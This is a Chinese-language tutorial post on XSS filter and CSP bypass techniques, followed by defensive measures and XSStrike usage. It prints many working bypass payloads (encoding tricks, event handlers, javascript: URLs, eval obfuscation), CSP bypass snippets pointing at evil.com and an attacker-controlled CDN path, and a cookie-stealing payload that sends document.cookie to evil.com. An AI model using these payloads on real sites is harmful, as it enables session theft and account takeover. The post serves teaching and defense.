XSS攻击防御与绕过实战解析

前言

在上一篇文章中,我们全面探讨了XSS(跨站脚本攻击)的三种主要类型——反射型、存储型和DOM型,并深入掌握了经典Payload的构建技巧。然而,实际Web应用通常会实施输入过滤和转义机制,同时安全团队还会部署CSP(内容安全策略)等多重防护措施。

真正的XSS漏洞挖掘能力不仅在于能否编写<script>alert(1)</script>这样的基础攻击代码,更体现在以下关键方面:

  1. 面对过滤机制时,是否具备绕过防御的思路和技巧?
  2. 遭遇完善防御体系时,能否准确理解其工作原理并掌握突破方法?

今天我们将以此进行深入探讨

一,XSS 过滤机制与绕过原理

1.1 过滤为何会被绕过

XSS(跨站脚本攻击)过滤的核心目标是防止恶意脚本在用户浏览器中执行。其本质是通过对用户输入和输出的严格处理,确保不可信数据不会被解析为可执行代码。

简单来说就是用字符串匹配或正则去识别"危险"内容,然后将其删除、转义或拦截。这种机制存在天然的局限性:

  • 黑名单永远不完整:HTML 标签、事件属性、伪协议多如牛毛,任何黑名单总有遗漏
  • 编码方式多元:浏览器在解析 HTML 时支持多种编码方式,而过滤器通常只处理明文
  • 上下文感知不足:同一个 < 在不同位置(HTML标签内、属性值内、JavaScript字符串内)含义截然不同
  • 解析器差异:不同浏览器对畸形 HTML 的容忍度不同,过滤器无法精确模拟所有浏览器行为

理解了这些根本原因,绕过技巧就有了逻辑基础。

1.3 标签闭合绕过

一种简单的绕过方法:许多过滤器仅检测小写的"script"、"onerror"等关键词,改用大小写混合即可轻松绕过。

<ScRiPt>alert('XSS')</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
<SVG/onLOAD=alert(1)>

防御方式:过滤前统一转为小写处理,或使用不区分大小写的正则(/i 标志)。

1.3 标签闭合绕过

当用户输入出现在 HTML 标签的属性值中时,可以通过提前闭合属性和标签来插入新的 HTML:

场景:输入被放入如下位置:

<input type="text" value="[用户输入]">

Payload

"><script>alert(1)</script>

构造结果

<input type="text" value=""><script>alert(1)</script>">

类似地,在 <div><p><a> 等标签内:

</p><script>alert(1)</script>

<script> 被过滤时,改用事件属性:

" onfocus="alert(1)" autofocus="
" onmouseover="alert(1)

1.4 HTML 编码绕过

HTML 实体编码是浏览器原生支持的解析机制。当浏览器处理 HTML 属性值时,会自动完成实体解码,而过滤器通常仅作用于原始字符串数据。

常见编码形式:                                     

原始字符HTML 十进制实体HTML 十六进制实体
<&#60;<
>&#62;>
"&#34;"
'&#39;'

            

绕过示例

<!-- 在事件属性中使用 HTML 实体编码 -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

<!-- 混合编码 -->
<a href="javascript:&#97;&#108;&#101;&#114;&#116;(1)">点击</a>

浏览器处理 href 属性时,会先对 HTML 实体解码,再交给 JavaScript 引擎执行。

1.5 Unicode 编码绕过

JavaScript 字符串支持 \uXXXX 形式的 Unicode 转义。当输入出现在 JavaScript 上下文中时(如 <script> 标签内),可利用此特性:

<script>
  // 假设用户输入被反射到 JS 字符串中
  var name = "[用户输入]";
</script>

Payload

\u003cscript\u003ealert(1)\u003c/script\u003e

解码后等同于 <script>alert(1)</script>,JavaScript 引擎会正常处理。

还可以使用 \x 十六进制转义:

\x3cscript\x3ealert(1)\x3c/script\x3e

1.6 URL 编码绕过

hrefsrcaction 等属性值中,浏览器会对 URL 进行解码。当过滤器未对 URL 编码字符进行解码就检测时,可通过 URL 编码绕过:

<a href="javascript:%61%6c%65%72%74%28%31%29">点我</a>
<!-- 等同于 javascript:alert(1) -->

双重 URL 编码(% 编码为 %25):

%253cscript%253e  →(一次解码)→  %3cscript%3e  →(二次解码)→  <script>

部分服务端会进行两次 URL 解码,此时双重编码可以绕过只做一次检测的过滤器。

1.7 事件属性枚举绕过

onerroronload 等被过滤时,HTML 支持数量庞大的事件属性,以下是高频可用的替代项:

<!-- 自动触发类 -->
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>

<!-- 交互触发类 -->
<div onmouseover=alert(1)>hover触发</div>
<div onclick=alert(1)>点击触发</div>
<marquee onstart=alert(1)>滚动触发</marquee>

<!-- 媒体类 -->
<video src=1 onerror=alert(1)></video>
<audio src=1 onerror=alert(1)></audio>

<!-- 不常见事件 -->
<img src=1 onerror=alert(1) onanimationend=alert(2)>
<form id=test onforminput=alert(1)></form>

1.8 伪协议绕过

javascript: 伪协议是 XSS 中常被利用的向量,常见于 hrefsrcaction 等属性:

<!-- 基本形式 -->
<a href="javascript:alert(1)">点击</a>

<!-- 大小写绕过 -->
<a href="JAVASCRIPT:alert(1)">点击</a>
<a href="JavasCript:alert(1)">点击</a>

<!-- 添加空白字符(部分浏览器支持) -->
<a href="java&#9;script:alert(1)">点击</a>    <!-- Tab 字符 -->
<a href="java&#10;script:alert(1)">点击</a>   <!-- 换行符 -->
<a href="java&#13;script:alert(1)">点击</a>   <!-- 回车符 -->

<!-- vbscript(旧版 IE) -->
<a href="vbscript:MsgBox(1)">点击</a>

1.9 字符串拼接与混淆绕过

在 JavaScript 上下文中,还可以利用语言特性来混淆代码、绕过字符串检测:

// 字符串拼接
eval('al'+'ert(1)')

// 字符编码转换
eval(String.fromCharCode(97,108,101,114,116,40,49,41))

// Base64 解码
eval(atob('YWxlcnQoMSk='))

// 模板字符串
`${'alert'.replace('ert','ert')}(1)`

// 构造函数方法
[].constructor.constructor('alert(1)')()
window['al'+'ert'](1)

二、CSP(内容安全策略)原理与绕过

2.1 CSP 是什么?

内容安全策略(Content Security Policy,CSP)是一种用于增强网页安全性的机制,通过限制网页中可以加载的资源(如脚本、样式、图片等)的来源,防止跨站脚本攻击(XSS)和数据注入攻击。

2.2 工作原理

CSP通过HTTP响应头或HTML的<meta>标签定义。浏览器会根据策略规则,仅加载或执行符合要求的资源,阻止不符合规则的资源加载或执行。

2.3 配置方式

通过HTTP响应头配置:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;

通过HTML的<meta>标签配置:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

2.4 常用指令           

指令含义

default-src

定义默认加载策略,适用于未明确指定的资源类型

script-src

控制JavaScript文件的加载来源

style-src

控制CSS文件的加载来源

img-src

控制图片资源的加载来源

connect-src

限制XMLHttpRequest、WebSocket等连接的来源

font-src

控制字体文件的加载来源

frame-src

限制iframe的加载来源

report-uri

指定违反策略时的报告地址(已弃用,推荐使用report-to

2.5 CSP 常见配置缺陷与绕过

2.5.1 unsafe-inline 允许内联

Content-Security-Policy: script-src 'self' 'unsafe-inline'

'unsafe-inline' 表示允许内联 <script> 和事件属性,等同于 CSP 形同虚设。任何内联 XSS Payload 均可直接执行。

2.5.2 'self' 限制下的 JSONP 绕过

Content-Security-Policy: script-src 'self'

当目标域名下存在 JSONP 接口时,攻击者可利用其作为脚本来源:

<!-- 假设 https://target.com/api/user?callback=xxx 是 JSONP 接口 -->
<script src="https://target.com/api/user?callback=alert(1)//"></script>

JSONP 接口返回的内容会被当作脚本执行,callback 参数被控制后即可注入代码。

2.5.3 CDN 白名单绕过

Content-Security-Policy: script-src 'self' https://cdn.jsdelivr.net

如果 CSP 白名单中包含开放 CDN(如 jsDelivr、cdnjs、unpkg),攻击者可以在这些 CDN 上托管恶意脚本:

<!-- 通过 jsDelivr 加载 GitHub 上的恶意文件 -->
<script src="https://cdn.jsdelivr.net/gh/attacker/repo@main/xss.js"></script>

2.5.4 base-uri 缺失导致 <base> 劫持

当 CSP 中没有设置 base-uri 指令时,攻击者可以注入 <base> 标签,将所有相对路径指向恶意域:

<base href="https://evil.com/">
<!-- 之后所有相对路径如 <script src="app.js"> 都会请求 https://evil.com/app.js -->

2.5.5 SVG 文件上传绕过

如果 CSP 允许 img-src 'self' 或有文件上传功能,且上传的 SVG 文件在同域下可访问,则:

<!-- evil.svg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
  <circle cx="50" cy="50" r="50"/>
</svg>

通过 <img src="/uploads/evil.svg"> 引入,在某些场景下可触发 JS 执行。或通过 <script src="/uploads/evil.svg"> 来加载。

2.5.6 noncehash 绕过场景

现代 CSP 推荐使用 noncehash 代替 unsafe-inline

Content-Security-Policy: script-src 'nonce-abc123'

攻击面

  • 如果 nonce 值可预测或通过信息泄露获取,则可伪造合法脚本
  •  如果页面存在 DOM ClobberingPrototype Pollution,可在不执行新脚本的情况下操控页面行为

三、XSS 综合防御方案

3.1 输入验证与过滤

服务端应对所有输入执行严格的白名单验证

// PHP 示例:白名单过滤
function sanitize_input($input) {
    // 只允许字母、数字、空格和少数安全字符
    $allowed = '/^[a-zA-Z0-9\s\-_.@]+$/';
    if (!preg_match($allowed, $input)) {
        return ''; // 不符合则拒绝
    }
    return $input;
}

注意:输入验证不能单独作为 XSS 防御手段,因为合法数据(如文章内容)本身可能包含 HTML。

3.2 输出编码(最核心的防御)

根据输出上下文选择正确的编码方式:                                            

输出位置编码方式示例
HTML 内容区域HTML 实体编码&lt;script&gt;
HTML 属性值HTML 属性编码"
JavaScript 字符串JavaScript 转义\x3c
URL 参数URL 编码%3Cscript%3E
CSS 值CSS 转义\003C
// PHP 输出编码示例
// HTML 内容区域
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// HTML 属性值(更严格)
echo htmlspecialchars($user_input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
// JavaScript 前端输出编码(React 等框架默认处理)
// 使用 textContent 而非 innerHTML
element.textContent = userInput;  // 安全
element.innerHTML = userInput;    // 危险!

React / Vue 等现代框架默认对输出进行转义,但使用 dangerouslySetInnerHTML(React)或 v-html(Vue)时需格外小心。

3.3 Content Security Policy 最佳实践

推荐的强 CSP 配置

Content-Security-Policy: 
  default-src 'none';
  script-src 'nonce-{random_value}' 'strict-dynamic';
  style-src 'self' 'nonce-{random_value}';
  img-src 'self' data:;
  font-src 'self';
  connect-src 'self';
  frame-src 'none';
  base-uri 'none';
  form-action 'self';
  upgrade-insecure-requests;
  report-uri /csp-report;

关键配置说明

  •  'nonce-{random_value}':每次请求生成随机 nonce 值,确保只有携带匹配 nonce 的脚本才能执行
  •  'strict-dynamic':允许受信任脚本动态加载其他脚本,有效防止通过静态白名单绕过的攻击
  •  base-uri 'none':禁用 <base> 标签,防止 URL 劫持风险
  •  form-action 'self':限制表单只能提交到当前域名,避免数据外泄

3.4 HttpOnly 与 Secure Cookie

XSS 最常见的危害是 Cookie 窃取,设置 HttpOnly 可有效阻断这一路径:

// PHP 设置 Cookie
setcookie('session_id', $session_id, [
    'expires'  => time() + 3600,
    'path'     => '/',
    'domain'   => 'example.com',
    'secure'   => true,      // 只通过 HTTPS 传输
    'httponly' => true,       // 禁止 JavaScript 访问
    'samesite' => 'Strict'   // 防止 CSRF
]);

注意:HttpOnly 只防止 Cookie 被 document.cookie 读取,不能阻止 XSS 的其他危害(如页面劫持、键盘记录等)。

3.5 X-XSS-Protection 与现代浏览器

旧版浏览器支持 X-XSS-Protection 响应头来启用浏览器内置 XSS 过滤器:

X-XSS-Protection: 1; mode=block

但现代 Chrome 浏览器已移除此功能,转而依赖 CSP。该头在新版浏览器中实际意义有限,但配置 mode=block 不会造成副作用。

3.6 安全编码函数速查                                  

语言推荐函数/库说明
PHPhtmlspecialchars()转义 5 个核心 HTML 字符
PHPhtmlentities()转义所有可编码字符
JavaStringEscapeUtils.escapeHtml4()Apache Commons Lang
JavaHtmlUtils.htmlEscape()Spring Framework
Pythonmarkupsafe.escape()Flask/Jinja2 内置
Node.jshe.encode()he
JavaScriptDOMPurify.sanitize()富文本安全过滤库

四、自动化测试工具:XSStrike

XSStrike 是目前最智能的 XSS 测试工具之一,支持自动分析响应内容、智能生成绕过 Payload。

4.1 安装

git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip3 install -r requirements.txt

4.2 基本用法

# 基本扫描
python3 xsstrike.py -u "http://target.com/search?q=test"

# 扫描 POST 请求
python3 xsstrike.py -u "http://target.com/login" --data "username=test&password=test"

# 爬虫模式(自动发现参数)
python3 xsstrike.py -u "http://target.com" --crawl

# 使用 Burp 代理
python3 xsstrike.py -u "http://target.com/search?q=test" --proxy

# 盲 XSS 测试(设置回调 URL)
python3 xsstrike.py -u "http://target.com/search?q=test" --blind

4.3 输出分析

XSStrike 能够智能分析每个参数的上下文环境,并据此生成针对性的绕过 Payload。当检测到潜在 XSS 漏洞时,工具会输出以下关键信息:

  • 有效的注入 Payload
  •  漏洞触发位置(反射型)
  • 置信度等级(Confidence)

五、思路总结

面对一个疑似存在 XSS 的参数,建议按如下思路逐步测试:

Step 1:定位反射点 → 输入测试字符串(如xss123)标记反射位置 → 确认反射区域:HTML内容区/属性值/JS字符串/URL参数

Step 2:基础Payload测试 → 注入基础XSS向量: <script>alert(1)</script> <img src=x οnerrοr=alert(1)> <svg οnlοad=alert(1)>

Step 3:过滤机制分析 → 检测被过滤或转义的特殊字符及关键词 → 判断过滤方式:字符删除/HTML转义/请求拦截

Step 4:绕过技术实施 → 采用混淆技术: - 大小写变体 - 多重编码 - 替代事件属性 - 等价标签替换

Step 5:完整漏洞验证 → 构造Cookie窃取Payload: <script>document.location='http://evil.com/c?c='+document.cookie</script> → 使用XSS接收平台(如xss.pt)验证漏洞利用

六、总结

今天我们系统学习了 XSS 绕过与防御两个维度的核心知识:

攻方核心技能

  • 混淆技术:灵活运用大小写混用、标签闭合漏洞及多种编码方式(HTML/Unicode/URL)绕过防护
  • 事件处理:熟练使用大量DOM事件属性和伪协议实现攻击
  • 策略突破:掌握常见内容安全策略(CSP)配置弱点及相应绕过方法

防方核心原则

  1. 上下文感知输出编码作为基础防护
  2. 结合 CSP 和 nonce 机制以增强防御强度
  3. 启用 HttpOnly Cookie 属性阻断常见攻击途径
  4. 实施多层次防护体系,避免依赖单一防御措施

XSS 作为一种"老牌漏洞",在现代 Web 应用中依然稳居漏洞排行榜前列。深入了解绕过技术的本质,正是为了弥补防御短板,发挥防护优势。

温馨提示:以上技术仅供娱乐消遣,切勿用来“搞事情”,否则警察叔叔可能会请你喝茶哦!网络安全法可不是摆设,做个遵纪守法的好公民,世界和平靠大家!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值